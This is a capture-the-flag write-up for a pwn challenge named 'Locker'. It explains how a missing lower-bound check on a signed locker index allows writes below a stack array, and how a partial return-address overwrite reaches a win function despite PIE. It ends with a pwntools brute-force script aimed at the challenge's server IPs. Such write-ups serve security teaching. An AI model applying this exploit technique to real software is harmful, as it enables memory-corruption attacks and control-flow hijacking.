Locker [Pwn]

5 minute read

Subtle integer underflow to hijack control flow.

locker.tar

Going through the program

This program is yet another menu program.

  1. Read locker: cannot use… I wonder why… (legit)
  2. Write locker: choose a lock number (1 - 8) and write into the key and value.
  3. Exit: exits :)

The code also has an unused win function:

void win() {
    system("cat ./flag.txt");
}

There are 8 locks (2 bytes each) in an array (8 * 2 = 16 bytes), which are all initialized to 0.

#define LOCKER_NUM 8

size_t n = 32;

typedef struct {
    char key;
    char value;
} locker;

...

int main(void) {
    setup();
    locker lockers[LOCKER_NUM];
    memset(lockers, 0, sizeof(lockers));

We can read (does nothing) and write to locks for an arbitrary number of times. In the end, we can provide feedback…

    char feedback[32];
    puts("Feedback?");
    scanf("%s", feedback);
    return 0;
}

Wait, buffer overflow? WRONG

bamboozled
bamboozled

There is stack canary, so no luck :P

Solution

After staring at this code for long enough + trading 30% of my sanity to it, I finally saw that

void write_locker(locker *lockers) {
    puts("\n\nWrite Locker");
    puts("===========");
    int number;
    printf("Locker number [1-8]: ");
    scanf("%d", &number);
    if (number > LOCKER_NUM) {
        puts("Under maintenance");
        return;
    }
    printf("Key  : ");
    scanf("%hhd", &lockers[number - 1].key);
    printf("Value: ");
    scanf("%hhd", &lockers[number - 1].value);
}

the index is a signed integer, and only number > LOCKER_NUM is checked, meaning negative numbers are accepted.

What does this imply? When indexing an array, it is actually performing pointer arithmetic on the pointer to the head of the array.

    +-------+--------+--------+
... |       | arr[0] | arr[1] | ...
    +-------+--------+--------+
        
arr+? : -1       0        1

Note that pointer arithmetic changes the address in units of the type size, i.e. the actual address value changes by, for example, 4 (when +/- 1) if arr is an array of ints (4 bytes).

The key is to realize the stack layout inside write_locker. Note that the stack is growing upwards here (bottom = higher address value).

    <-- 4 bytes --x-- 4 bytes -->
    +-------------+-------------+
    |             |    number   |
    +---------------------------+
    |       stack canary        |
    +---------------------------+
    |       base pointer        |
    +---------------------------+
    |      return address       |
    +---------------------------+
    |                           |
    +-------------+-------------+
    |   option    |             |
    +-------------+-------------+
    |          lockers          |
    +-------------+-------------+
    |          lockers          |
    +-------------+-------------+
                 ...

You can get this by using disassemblers or just GDB and deduce it yourself.

Using Ghidra (after renaming variables)
Using Ghidra (after renaming variables)
Using Ghidra (after renaming variables)
Using Ghidra (after renaming variables)

The blank part beside option is to pad the stack to a quadword. Not sure about the 8 bytes of padding above that though, perhaps just some stack alignment stuff. I found about this 8-byte when testing out the exploit and examining through GDB.

Our goal now is to change the bytes of the return address to the address of win, then we win! We can do

objdump -d locker | grep win
0000000000001229 <win>:
    1261: 74 05                        	je	0x1268 <win+0x3f>

or search it up on Ghidra. However, we need to notice that PIE is enabled, which means that the program might be loaded at a different base address than 0x400000. Then what bytes should we write, and what values to write to? One useful fact is that the base address will be aligned to page size (usually 0x1000 bytes), meaning that the base address will always be a multiple of 0x1000.

With this knowledge, we know that the address of win is always 0x….229. Therefore, we can write 0x29 to the LSB of the return address, and some 0xX2 to the next byte, and keep trying until the base address matches what we put.

    <-- 4 bytes --x-- 4 bytes -->        <- 2 ->
    +-------------+-------------+        +---------------------------+
    |             |    number   |        |                           |
    +-------------+-------------+        +---------------------------+
    |       stack canary        |        |                           |
    +---------------------------+        +---------------------------+
    |       base pointer        |        |                           |
    +---------------------------+        +------+------+------+------+
    |      return address       |        |  -9  |  -10 | -11  | -12  |
    +---------------------------+        +------+------+------+------+
    |                           |        |  -5  |  -6  |  -7  |  -8  |
    +-------------+-------------+        +------+------+------+------+
    |   option    |             |        |  -1  |  -2  |  -3  |  -4  |
    +-------------+-------------+        +------+------+------+------+
    |          lockers          |        |                    |   0  |
    +-------------+-------------+        +-------------+------+------+
    |          lockers          |        |                           |
    +-------------+-------------+        +-------------+-------------+
                 ...

From this, we see that we need to index lockers[-12], so number should be -11.

Final Script

from pwn import *

DEBUG = False
context.log_level = "error"

ind = str(-11 & 0xffffffff).encode()

while True:
    conn = remote("157.245.156.90", 5000) if DEBUG else remote("54.158.139.58", 1235)

    conn.recvuntil(b"Exit")
    conn.recvline()

    conn.recvuntil(b"> ")
    conn.sendline(b"2")
    conn.sendlineafter(b": ", ind)

    b = 0x52

    # win = ...229

    conn.sendlineafter(b": ", str(0x29+5).encode())
    conn.sendlineafter(b": ", str(b).encode())

    try:
        line = conn.recvline()
        if b"ABOH" in line:
            print(line)
            conn.close()
            break
    except:
        conn.close()


Categories:

Updated: